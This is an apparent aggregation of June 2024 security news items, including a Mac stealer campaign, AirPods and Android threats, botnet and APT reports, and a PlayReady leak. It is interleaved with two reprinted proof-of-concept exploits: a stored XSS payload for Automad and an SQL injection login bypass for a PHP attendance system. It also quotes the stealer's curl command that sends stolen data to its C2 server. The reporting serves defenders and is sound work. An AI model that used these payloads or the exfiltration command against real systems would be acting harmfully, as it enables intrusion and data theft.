A competitor of the infamous Atomic Stealer targeting Mac users, has just launched a new campaign to lure in more victims.

On June 24, we observed a new campaign distributing a stealer targeting Mac users via malicious Google ads for the Arc browser. This is the second time in the past couple of months where we see Arc being used as a lure, certainly a sign of its popularity. It was previously used to drop a Windows RAT, also via Google ads.

The macOS stealer being dropped in this latest campaign is actively being developed as an Atomic Stealer competitor, with a large part of its code base being the same as its predecessor. Malwarebytes was previously tracking this payload as **OSX.RodStealer**, in reference to its author, Rodrigo4. The threat actor rebranded the new project ‘Poseidon’ and added a few new features such as looting VPN configurations.

In this blog post, we review the advertisement of the new Poseidon campaign from the cyber crime forum announcement, to the distribution of the new Mac malware via malvertising.

**Rodrigo4 launches new PR campaign**

A threat actor known by his handle as Rodrigo4 in the XSS underground forum has been working on a stealer with similar features and code base as the notorious Atomic Stealer (AMOS). The service consists of a malware panel with statistics and a builder with custom name, icon and AppleScript. The stealer offers functionalities reminescent of Atomic Stealer including: file grabber, crypto wallet extractor, password manager (Bitwarden, KeePassXC) stealer, and browser data collector.

In a post last edited on Sunday, June 23, Rodrigo4 announced a new branding for their project:

Forum post by Rodrigo4 on XSS

Hello everyone, we have released the V4 update and there are quite a lot of new things.  
The very first thing that catches your eye is the name of the project: Poseidon. Why is that? For PR management. In simple words, people didn’t know who we were.

Malware authors do need publicity, but we will try to stick to the facts and what we have observed in active malware delivery campaigns.

**Distribution via Google ads**

We saw an ad for the Arc browser belonging to ‘Coles & Co’, linking to the domain name _arcthost\[.\]org_:

Malicious ad for Arc browser via Google search

People who clicked on the ad were redirected to _arc-download\[.\]com_, a completely fake site offering Arc for Mac only:

Decoy website for Arc

The downloaded DMG file resembles what one would expect when installing a new Mac application with the exception of the right-click to open trick to bypass security protections:

Malicious Arc DMG installer

**Connection to new Poseidon project**

The new “Poseidon” stealer contains unfinished code that was seen by others, and also recently advertised to steal VPN configurations from Fortinet and OpenVPN:

Excerpt from forum post featuring new VPN capability

More interesting is the data exfiltration which is revealed in the following command:

set result\_send to (do shell script \\"curl -X POST -H \\\\\\"uuid: 399122bdb9844f7d934631745e22bd06\\\\\\" -H \\\\\\"user: H1N1\_Group\\\\\\" -H \\\\\\"buildid: id777\\\\\\" --data-binary @/tmp/out.zip http:// 79.137.192\[.\]4/p2p\\")

Navigating to this IP address reveals the new Poseidon branded panel:

Poseidon panel login page

**Conclusion**

There is an active scene for Mac malware development focused on stealers. As we can see in this post, there are many contributing factors to such a criminal enterprise. The vendor needs to convince potential customers that their product is feature-rich and has low detection from antivirus software.

Seeing campaigns distributing the new malware payload confirms that the threat is real and actively targeting new victims. Staying protected against these threats requires vigilance any time you download and install a new app.

Malwarebytes for Mac detects this this ‘Poseidon campaign as _**OSX.RodStealer**_ and we have already shared information related to the malicious ad with Google. We highly recommend using web protection that blocks ads and malicious websites as your first line of defense. Malwarebytes Browser Guard does both effectively.

**Indicators of Compromise**

Google ad domain

arcthost\[.\]org

Decoy site

arc-download\[.\]com

Download URL

zestyahhdog\[.\]com/Arc12645413\[.\]dmg

Payload SHA256

c1693ee747e31541919f84dfa89e36ca5b74074044b181656d95d7f40af34a05

C2

79.137.192\[.\]4/p2p

 &#8216;Poseidon&#8217; Mac stealer distributed via Google ads 

The vulnerability affects not only AirPods, but also AirPods Max, Powerbeats Pro, Beats Fit Pro, and all models of AirPods Pro.

Source: Hoor Aloraidh via Alamy Stock Photo

Apple released its latest firmware update for its AirPods products to address a vulnerability that could give a threat actor unauthorized access.

The vulnerability is tracked as CVE-2024-27867 and affects AirPods (second generation and later) and AirPods Pro (all models), as well as AirPods Max, Powerbeats Pro, and Beats Fit Pro.

"When your headphones are seeking a connection request to one of your previously paired devices, an attacker in Bluetooth range might be able to spoof the intended source device and gain access to your headphones," reported Apple in an advisory.

To fix for the issue, Apple said that an "authentication issue was addressed with improved state management" in AirPods firmware update 6A326, AirPods firmware update 6F8, and Beats firmware update 6F8. These firmware updates are automatically delivered to a user's device while the headphones or AirPods are in Bluetooth range of an iPhone, iPad, or Mac.

Apple credited Jonas Dreßler for the discovery of the flaw as with well as reporting the bug to the company.

**About the Author(s)**

Apple AirPods Bug Allows Eavesdropping

Automad version 2.0.0-alpha.4 suffers from a persistent cross site scripting vulnerability.

    # Exploit Title: Automad 2.0.0-alpha.4 - Stored Cross-Site Scripting (XSS)# Date: 20-06-2024# Exploit Author: Jerry Thomas (w3bn00b3r)# Vendor Homepage: https://automad.org# Software Link: https://github.com/marcantondahmen/automad# Category: Web Application [Flat File CMS]# Version: 2.0.0-alpha.4# Tested on: Docker version 26.1.4, build 5650f9b | Debian GNU/Linux 11(bullseye)# DescriptionA persistent (stored) cross-site scripting (XSS) vulnerability has beenidentified in Automad 2.0.0-alpha.4. This vulnerability enables an attackerto inject malicious JavaScript code into the template body. The injectedcode is stored within the flat file CMS and is executed in the browser ofany user visiting the forum. This can result in session hijacking, datatheft, and other malicious activities.# Proof-of-Concept*Step-1:* Login as Admin & Navigate to the endpointhttp://localhost/dashboard/home*Step-2:* There will be a default Welcome page. You will find an option toedit it.*Step-3:* Navigate to Content tab orhttp://localhost/dashboard/page?url=%2F&section=text & edit the block named***`Main`****Step-4:* Enter the XSS Payload - <img src=x onerror=alert(1)>*Request:*POST /_api/page/data HTTP/1.1Host: localhostContent-Length: 1822User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryzHmXQBdtZsTYQYCvAccept: */*Origin: http://localhostReferer: http://localhost/dashboard/page?url=%2F&section=textAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie:Automad-8c069df52082beee3c95ca17836fb8e2=d6ef49301b4eb159fbcb392e5137f6cbConnection: close------WebKitFormBoundaryzHmXQBdtZsTYQYCvContent-Disposition: form-data; name="__csrf__"49d68bc08cca715368404d03c6f45257b3c0514c7cdf695b3e23b0a4476a4ac1------WebKitFormBoundaryzHmXQBdtZsTYQYCvContent-Disposition: form-data; name="__json__"{"data":{"title":"Welcome","+hero":{"blocks":[{"id":"KodzL-KvSZcRyOjlQDYW9Md2rGNtOUph","type":"paragraph","data":{"text":"Testingforxss","large":false},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}},{"id":"bO_fxLKL1LLlgtKCSV_wp2sJQkXAsda8","type":"paragraph","data":{"text":"<h1>XSSidentified byJerry</h1>","large":false},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}}],"automadVersion":"2.0.0-alpha.4"},"+main":{"blocks":[{"id":"lD9sUJki6gn463oRwjcY_ICq5oQPYZVP","type":"paragraph","data":{"text":"Youhave successfully installed Automad 2.<br><br><img src=xonerror=alert(1)><br>","large":false},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}},{"id":"NR_n3XqFF94kfN0jka5XGbi_-TBEf9ot","type":"buttons","data":{"primaryText":"VisitDashboard","primaryLink":"/dashboard","primaryStyle":{"borderWidth":"2px","borderRadius":"0.5rem","paddingVertical":"0.5rem","paddingHorizontal":"1.5rem"},"primaryOpenInNewTab":false,"secondaryText":"","secondaryLink":"","secondaryStyle":{"borderWidth":"2px","borderRadius":"0.5rem","paddingHorizontal":"1.5rem","paddingVertical":"0.5rem"},"secondaryOpenInNewTab":true,"justify":"start","gap":"1rem"},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}}],"automadVersion":"2.0.0-alpha.4"}},"theme_template":"project","dataFetchTime":"1718911139","url":"/"}------WebKitFormBoundaryzHmXQBdtZsTYQYCv--*Response:*HTTP/1.1 200 OKServer: nginx/1.24.0Date: Thu, 20 Jun 2024 19:17:35 GMTContent-Type: application/json; charset=utf-8Connection: closeX-Powered-By: PHP/8.3.6Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheContent-Length: 30`{"code":200,"time":1718911055}*Step-5:* XSS triggers when you go to homepage - http://localhost/

Automad 2.0.0-alpha.4 Cross Site Scripting

As cybersecurity's cat-and-mouse game starts to look more like Tom and Jerry, attackers develop a method for undermining Android app security with no obvious fix.

Source: Frank Herholdt via Alamy Stock Photo

Hackers from Southeast Asia have turned Android's own best application security mechanism against itself, severing the link between kernel and application in order to perform any kind of tampering they wish.

This method is being employed by new malware called "Snowblind," which targets at least one banking app in Southeast Asia. Snowblind works by abusing the ubiquitous and otherwise sterling Linux security feature "seccomp" — short for "secure computing" — in order to trap and modify system calls in transit, in effect isolating an application from the protocols and information it needs to detect malicious tampering.

"In security, nothing is bulletproof," says Jan Vidar Krey, vice president of engineering at Promon, lamenting the weaponization of such a core Android security feature. "Everything can be circumvented to some extent, which is a harsh, brutal way of looking at it, but that's the reality."

**The Android Anti-Tampering Cat & Mouse Game**

As Promon describes in its report on Snowblind, the most common way hackers undermine Android devices is by tricking users into granting them accessibility permissions, which they can use to various malicious ends.

Because this is so common, though, experienced developers already know how to account for it. For example, apps can query the operating system to check for untrusted accessibility services, and then react accordingly, as Promon discusses in its report.

Attackers, for their part, can try to identify and sabotage the parts of an app's code that do that job by "repackaging" them — downloading, modifying, and re-uploading malicious versions of legitimate apps.

To prevent repackaging, developers can be proactive by protecting their code with obfuscation, or they can be reactive by opening an app's Android package (APK) file on disk and reviewing its contents.

Attackers have their own methods for concealing their malicious repackaging, though. For example, they can hook into that anti-tampering file reading process and redirect it to an unmodified version of the same app. But developers know about and can account for that as well by implementing the necessary system calls in native libraries rather than the C standard library.

So at this point, forced into a corner, attackers needed a new way of preventing secured apps from detecting their tampering.

**Snowblind's Anti- Anti-Tampering**

Snowblind — the next evolution in this grand game — tries something new. It puts its focus not on accessibility services per se, or the app's code, but the seccomp security feature in between.

"This seccomp mechanism is the foundation of everything that you're seeing in the cloud today," Krey notes. In addition to Android — since version 8.0 Oreo — it's used by containerization technologies like Docker (by default) and Kubernetes, Chromium browsers, and more.

It works by sandboxing applications, allowing or blocking calls they might make to the operating system as defined by a system administrator. But these days, Krey explains, "What we're seeing with Android is that malware is using these same security tricks to prevent an application from seeing what's actually going on on the rest of the system. And basically just showing it what the attacker wants it to see."

First, Snowblind repackages an app with a library that will be loaded before any anti-tampering mechanisms can run. This library includes a seccomp "filter," which looks out for a very select few system calls — like "open()", used for opening files or other resources — and traps them. Before allowing the call to be executed, it uses a signal handler to modify it, pointing it to a file that's the original, unmodified version of the app.

In other words, like a little man in the middle of the device, the malware traps and misdirects the signals an app needs to know whether it has been tampered with.

**No Perfect Solutions**

Having fully isolated an app, a banking Trojan can freely use accessibility services to perform any number of malicious actions on a device: steal and exfiltrate credentials, intercept two-factor authentication (2FA) codes, and disable further application security features, among other functions.

And, Promon noted, Snowblind's strategy can be used to do more than just defeat anti-tampering on Android phones. In cloud or containerized environments, Chromium browsers, or any other type of system relying on seccomp, it can, in theory, be used to trace and manipulate any code that relies on system calls, for whatever reason.

How will defenders respond, then? For Krey, there isn't any obvious seccomp-oriented fix, as it's so crucial to protecting these systems in the first place. "Seccomp is an integral part of lots of different applications," he explains, "so I don't really know how they would fix it. And I don't really see that they should fix it, to be honest. It's kind of a paradoxical thing."

Instead, Google and its customers can focus on shunning maliciously repackaged apps before they're downloaded. "In Southeast Asia, we believe these types of apps have likely spread outside of the official app stores. This has almost certainly been achieved via social engineering attacks, a still very prevalent and widely reported method of duping less tech-savvy users. And fake malicious apps still make their way onto major app stores," he explains. "With this in mind, a stronger policing of the Play Store and tighter verification process for uploaded apps would mitigate the spread of Snowblind."

Google, for its part, appears unfazed. In a statement to Dark Reading, a company spokesperson claimed that the company already knew about Snowblind before Promon's report. "Based on our current detection, no apps containing this malware are found on Google Play. Android users are automatically protected against known versions of this malware by Google Play Protect, which is on by default on Android devices with Google Play Services. Google Play Protect can warn users or block apps known to exhibit malicious behavior, even when those apps come from sources outside of Play," Google said in its statement.

**About the Author(s)**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

'Snowblind' Tampering Technique May Drive Android Users Adrift

Apple has released a firmware update for AirPods that could allow a malicious actor to gain access to the headphones in an unauthorized manner.
Tracked as CVE-2024-27867, the authentication issue affects AirPods (2nd generation and later), AirPods Pro (all models), AirPods Max, Powerbeats Pro, and Beats Fit Pro.
"When your headphones are seeking a connection request to one of your previously

Firmware Security / Vulnerability

Apple has released a firmware update for AirPods that could allow a malicious actor to gain access to the headphones in an unauthorized manner.

Tracked as CVE-2024-27867, the authentication issue affects AirPods (2nd generation and later), AirPods Pro (all models), AirPods Max, Powerbeats Pro, and Beats Fit Pro.

"When your headphones are seeking a connection request to one of your previously paired devices, an attacker in Bluetooth range might be able to spoof the intended source device and gain access to your headphones," Apple said in a Tuesday advisory.

In other words, an adversary in physical proximity could exploit the vulnerability to eavesdrop on private conversations. Apple said the issue has been addressed with improved state management.

Jonas Dreßler has been credited with discovering and reporting the flaw. It has been patched as part of AirPods Firmware Update 6A326, AirPods Firmware Update 6F8, and Beats Firmware Update 6F8.

The development comes two weeks after the iPhone maker rolled out updates for visionOS (version 1.2) to close out 21 shortcomings, including seven flaws in the WebKit browser engine.

One of the issues pertains to a logic flaw (CVE-2024-27812) that could result in a denial-of-service (DoS) when processing web content. The problem has been fixed with improved file handling, it said.

Security researcher Ryan Pickren, who reported the vulnerability, described it as the "world's first spatial computing hack" that could be weaponized to "bypass all warnings and forcefully fill your room with an arbitrary number of animated 3D objects" sans user interaction.

The vulnerability takes advantage of Apple's failure to apply the permissions model when using the ARKit Quick Look feature to spawn 3D objects in a victim's room. Making matters worse, these animated objects continue to persist even after exiting Safari as they are handled by a separate application.

"Furthermore, it does not even require this anchor tag to have been 'clicked' by the human," Pickren said. "So programmatic JavaScript clicking (i.e., document.querySelector('a').click()) works no problem! This means that we can launch an arbitrary number of 3D, animated, sound-creating, objects without any user interaction whatsoever."

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Apple Patches AirPods Bluetooth Vulnerability That Could Allow Eavesdropping

For a while, the botnet spread but did essentially nothing. All the malicious payloads came well after.

Source: Phil Degginger via Alamy Stock Photo

A previously harmless Linux botnet has been updated to include a suite of malicious and exploitative components.

The unimaginatively named "P2PInfect" is a worm that leverages the Redis in-memory database application to spread across networks in a peer-to-peer, worm-like manner, creating a botnet along the way. By the time it was first discovered about a year ago, it had yet to cause anyone any real damage — a fact which it used to stealthy effect, by creating very little ruckus in newly infected networks.

This is not the case anymore. According to Cado Security, an update has been propagated across P2PInfect infections globally which includes a brand new rootkit, cryptominer, and even ransomware.

"Last year we were sitting there, scratching our heads, going: 'Why?,'" Al Carchrie, R&D lead solutions engineer at Cado Security, recalls about seeing the innocuous botnet for the first time. "It wasn't until the last couple of weeks that we saw there had been changes — it seems to have grown arms and legs."

**How PRPInfect Started**

On first impression, researchers observed a few things about P2PInfect that they could explain, and a few they couldn't.

First, the known: P2PInfect targeted misconfigured Redis-integrated servers accessible from the Internet. With such an inroad into a network, the malware took advantage of Redis' leader-follower topology, in which a designated "leader" node handles the primary copy of some data, and spreads exact copies to a network of follower nodes. The program used this mechanism to spread itself between Redis nodes across networks.

This seemed to be a good way to establish command-and-control (C2) and potentially spread second-stage malware. At the time, though, this quasi botnet wasn't being used for much at all.

Researchers did note, though, that the word "miner" popped up in P2PInfect's code — a potential indication of what was to come, perhaps, but nothing more.

"Our best estimate was that they were trying to do an initial spread as a botnet, probably to get a significant mass, so that when their plan came into action, it would then be more effective because they'll have a significant number of hosts," Carchrie says.

That prediction has now come to fruition.

**How P2PInfect Is Going**

P2PInfect has been updated with a usermode rootkit, and its "miner" binary has been activated. In the time since, the malware has leveraged its victims to mine around 71 Monero coins, equivalent to around £10,000.

Interesting, too, is a new ransomware component targeting a variety of file types including .xls, .py, .sql, and more. Though scary in theory, this aspect of P2PInfect seems to have been thought through the least.

For one thing, the ransomware looks for specific file extensions, but Linux does not necessarily require that files have extensions to begin with.

More to the point: Redis doesn't save any data to disk by default—its whole value proposition surrounds storage in-memory. It can be configured to save data to files, but the extension for these files—.rdb—is not among those sought by the ransomware. "With that in mind," Cado wrote, "it's unclear what the ransomware is actually designed to ransom."

**What to Do**

From Carchrie's vantage point, P2PInfect infections appear to be most concentrated in East Asia.

Redis is commonly used in businesses across the globe, though. Its open source version has more than four billion Docker pulls, and nearly 10,000 organizations use its Enterprise product, including British Airways and MGM Resorts.

So, he warns, organizations have to watch that their servers are properly protected from outside threats — only exposed to trusted users, behind firewalls, properly configured, etc.

And while it's not so easy to spot totally dormant malware, now that P2PInfect is revved up, it should be leaving behind plenty of easily detectable artifacts. "The cryptomining is going to drain as much CPU as possible, and the ransomware will go after files on disks, so disk utilization then starts to spike as well. You'll be looking for indications of those," he says.

**About the Author(s)**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

'P2PInfect' Worm Grows Teeth With Miner, Ransomware &amp; Rootkit

Student Attendance Management System version 1.0 suffers from a remote SQL Injection vulnerability that allows for authentication bypass.

    ## Titles: Student Attendance Management System-1.0 Bypass AuthenticationSQLi## Author: nu11secur1ty## Date: 06/22/2024## Vendor: https://github.com/oretnom23## Software:https://www.sourcecodester.com/php/14561/student-attendance-management-system-using-phpmysqli-source-code.html## Reference: https://portswigger.net/web-security/sql-injection## Description:The username parameter is not sanitizing well, the attacker can injectdirect queries into the login form and easily bypass the authentication ofthe admin account.STATUS: CRITICAL- Vulnerability[+]Exploits:- Exploit:```POSTPOST /student_attendance/ajax.php?action=login HTTP/1.1Host: pwnedhost.comCookie: PHPSESSID=2otv2s74md44qhb7do890mhhp4Content-Length: 104Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126"Accept-Language: en-USSec-Ch-Ua-Mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Accept: */*X-Requested-With: XMLHttpRequestSec-Ch-Ua-Platform: "Windows"Origin: https://pwnedhost.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://pwnedhost.com/student_attendance/login.phpAccept-Encoding: gzip, deflate, brPriority: u=1, iConnection: keep-aliveusername=nu11secur1ty'+or+1%3D1%23&password=stupiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiid```[+]Response```HTTPHTTP/1.1 200 OKDate: Sat, 22 Jun 2024 06:37:41 GMTServer: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.2.4X-Powered-By: PHP/8.2.4Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheContent-Length: 1Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=UTF-81```## Reproduce:[href](https://www.patreon.com/posts/student-system-1-106665723)## Proof and Exploit:[href](https://www.patreon.com/posts/student-system-1-106665723)## Time spent:01:25:00

Student Attendance Management System 1.0 SQL Injection

Plus: Alleged Apple source code leaks online, cybercrime group Scattered Spider's alleged kingpin gets arrested, and more.

The rolling series of breaches targeting customers of cloud platform Snowflake appears to be a supply chain attack wrapped in another supply chain attack. A hacker who claims to have been involved in the attacks tells WIRED that the hackers, known as ShinyHunter, stole victims’ Snowflake credentials by first breaching an employee of a third-party contractor. (The contractor, however, says it does not believe it was involved.)

Ultimately, the breach of the Snowflake customer accounts, which include Ticketmaster, banking firm Santander, and potentially more than 160 other companies, was possible because their Snowflake accounts did not have multifactor authentication enabled.

Antivirus giant Kaspersky’s worst nightmare has finally come true: The United States government announced on Thursday that it is banning the sale of its software to new customers in the US over alleged Russian national security threats. (Kaspersky has challenged the Biden administration’s claims.) Existing customers, meanwhile, will be banned from downloading Kaspersky software updates after September 29. What could go wrong?

Perplexity AI, an artificial-intelligence-powered search startup, says it’s already valued at a billion dollars. But a WIRED investigation published this week found that its secret sauce has a pungent ingredient: bullshit.

Beyond “hallucinating” details generated by its chatbot, WIRED found that the AI tool appears to be ignoring the Robots Exclusion Protocol—a standard web tool used to prevent scraping—on sites owned by WIRED’s parent company, Condé Nast, and other publications, seemingly allowing it to scrape articles despite the internet equivalent of a “Do Not Enter” sign hanging on WIRED and other Condé Nast sites. Perplexity’s chatbot later plagiarized that same article when prompted.

People traveling through some of the largest train stations in the United Kingdom secretly had their faces scanned by Amazon’s face-recognition tools, according to documents obtained by WIRED. The technology, which was used as part of a trial run, predicted travelers’ various attributes, including gender, age, and likely emotions. The surveillance, which one privacy advocate called “concerning,” could potentially be used for serving advertisements.

Finally, we detailed the rise of robot “dogs” used by militaries, explained what would happen if China invaded Taiwan, and got into the nitty-gritty of the boring-sounding but serious work of spotting the billion-dollar scam tactic known as business email compromise.

That’s not all. Each week, we round up the security and privacy news we didn’t cover in depth ourselves. Click the headlines to read the full stories. And stay safe out there.

For months, ransomware gangs have rampaged across the health care industry, with ruthless attacks targeting Change Healthcare’s national payment network for more than a thousand health care providers, Ascension Healthcare’s 140 hospitals, and dozens of other victims in the medical field. Now that hacking epidemic is crystallizing into yet another catastrophic hospital hack—one that has resulted in the data of 300 million UK patient records leaking online.

Synnovis, a joint-venture medical testing company partially owned by the UK’s National Health Service, has for weeks been battling and negotiating with the Russia-linked ransomware group Qilin, which has deeply disrupted its services in an attempt to extort the company. The result has been well over a thousand postponed operations and thousands more postponed outpatient appointments across multiple UK hospitals. Ambulances have been diverted from the affected hospitals, potentially causing delays in lifesaving care. They’ve even had to ask for new urgent donations of O-type blood, as testing disruptions have prevented other types from being used in patients’ blood transfusions.

A Catastrophic Hospital Hack Ends in a Leak of 300M Patient Records

Government ministries keep falling victim to relatively standard-fare cyber-espionage attacks, like this latest campaign with hazy Chinese links.

Source: Mint Images Limited via Alamy Stock Photo

A Chinese-language advanced persistent threat (APT) has been spying on government ministries across the eastern hemisphere.

The first signs of it date back to late August of last year. Back then, the as-yet-unidentified group began to use a modified version of Gh0st RAT, nicknamed "SugarGh0st RAT," to spy on targets in South Korea, as well as the Ministry of Foreign Affairs in Uzbekistan. Since then, Cisco Talos revealed in a new blog post, the group now called "SneakyChef" has been cooking up new campaigns across more countries.

Based on its lure documents, likely targets for the campaign have included:

*   Ministries of foreign affairs from Angola, India, Kazakhstan, Latvia, and Turkmenistan
    
*   The ministries of agriculture and forestry, and fisheries and marine resources in Angola
    
*   The Saudi Arabian embassy in Abu Dhabi
    

Talos has not attributed SneakyChef to any particular government itself. They did note, however, the Chinese language preferences present in its code, its use of SugarGh0st RAT — particularly, though not exclusively popular among Chinese threat actors — and the similar profile of its targets.

**Sneaky Chef's Latest Servings**

Where early campaigns utilized malicious RAR files embedded in LNK files for initial infection, now SneakyChef prefers self-extracting RARs (SFX RAR). The shift offers some modest benefits.

"RAR files just got official support in Windows 11, so for anything prior to Windows 11, you need to have extra software to be able to extract the file," explains Nick Biasani, Cisco Talos' head of outreach. "A self-extracting RAR file eliminates the need for extra software, so it probably increases the likelihood of infection."

Among the goodies SFX RAR drops: a decoy document, a dynamic link library (DLL) loader, some encrypted malware — either SugarGh0st RAT or SneakyChef's newest tool, SpiceRAT — and a malicious Visual Basic (VB) script for establishing persistence.

The decoys are legitimate, scanned documents relating in some way to the targeted ministry or embassy. They'll describe some kind of government business, most often an upcoming meeting or conference. Notably, Talos was unable to find any of the documents used in recent campaigns on the open web. (This might indicate they were themselves obtained via espionage.)

When it comes to government cyberespionage, "What we commonly see is that this would be the 'first wave.' This actor is not typically highly sophisticated, they're more aiming to send a lot of lures and get a lot of people infected so they can get initial footholds and start gathering data," Biasani says. Then, when they need access to a specific, extra-secured government body. "That's when you start seeing the more sophisticated elements of these attacks play out."

**About the Author(s)**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

'SneakyChef' APT Slices Up Foreign Affairs With SugarGh0st

On June 11, 2024, a Microsoft Engineer posted information about a crash that inadvertently leaked internal data related to PlayReady and Warbird libraries.

    Hello All,On Jun 11, 2024 Microsoft engineer posted on a public foruminformation about a crash experienced with Apple TV service on aSurface Pro 9 device [1].The post had an attachment - a 771MB file (4GB unpacked), which leakedinternal code (260+ files [2]) pertaining to Microsoft PlayReady suchas the following:- Warbird configuration for building PlayReady library- Warbird library implementing code obfuscation functionality- static libraries with symbolic information either required orrelated to PlayReady client library building, this includes OEM,crypto, ARM TEE / HW related libs a preprocessed C++ header file withPlayReady constants, unpublished classes and their methods declarationIn general the above leaked key information related to PlayReadyinternals and implementation. Leaked data should be sufficient tocompletely reverse engineer Microsoft PlayReady operation (HW basedone in particular).As such, on Jun 12, 2024 we notified Microsoft PlayReady and MSRCabout the leak shortly following its discovery.We verified that it is possible to buildWindows.Media.Protection.PlayReady.dll  library (debug build andwithout Warbird encryption / obfuscation) from the leaked code. Afollow up post by another Microsoft engineer provided guidelines onhow to proceed with the building process [4] (this post has been alsoremoved).We also verified that Microsoft Symbol Server didn’t block request forPDB file corresponding to Microsoft internal warbird.dll binary(another leak / bug at Microsoft end).The leak violated Microsoft's own guidelines [5] for posting linkrepro information in public. These guidlines clearly state thefollowing among others:- "All information in reports and any comments and replies arepublicly visible by default"- "Don't put anything you want to keep private in the title or contentof the initial report, which is public"- "To maintain your privacy and keep your sensitive information out ofpublic view, be careful"The described leaks are yet another manifestation of what we have beenalready aware of - the problems and inconsistencies observed atMicrosoft end with respect to PlayReady security and the way secrecyof the implementation is implemented and/or maintained by the company.While Microsoft removed the post (within 12 hours from thenotification), the company hasn't removed the leak itself so far [3].There are some chances this post is to put Microsoft to action though...Thank you.Best Regards,Adam Gowdiak----------------------------------Security Explorations -AG Security Research Labhttps://security-explorations.com----------------------------------References:[1] MSPR leak (screenshot 1)    https://security-explorations.com/samples/mspr_leak_screenshot.png[2] MSPR leak (files list)    https://security-explorations.com/samples/mspr_leak_files.txt[3] MSPR leak (screenshot 2)    https://security-explorations.com/samples/mspr_leak_screenshot2.png[4] MSPR leak (screenshot 3)    https://security-explorations.com/samples/mspr_leak_screenshot3.png[5] How to report a problem with the Microsoft C++ toolset ordocumentation (Reports and privacy)    https://learn.microsoft.com/en-us/cpp/overview/how-to-report-a-problem-with-the-visual-cpp-toolset?view=msvc-170#reports-and-privacy

Tag

#apple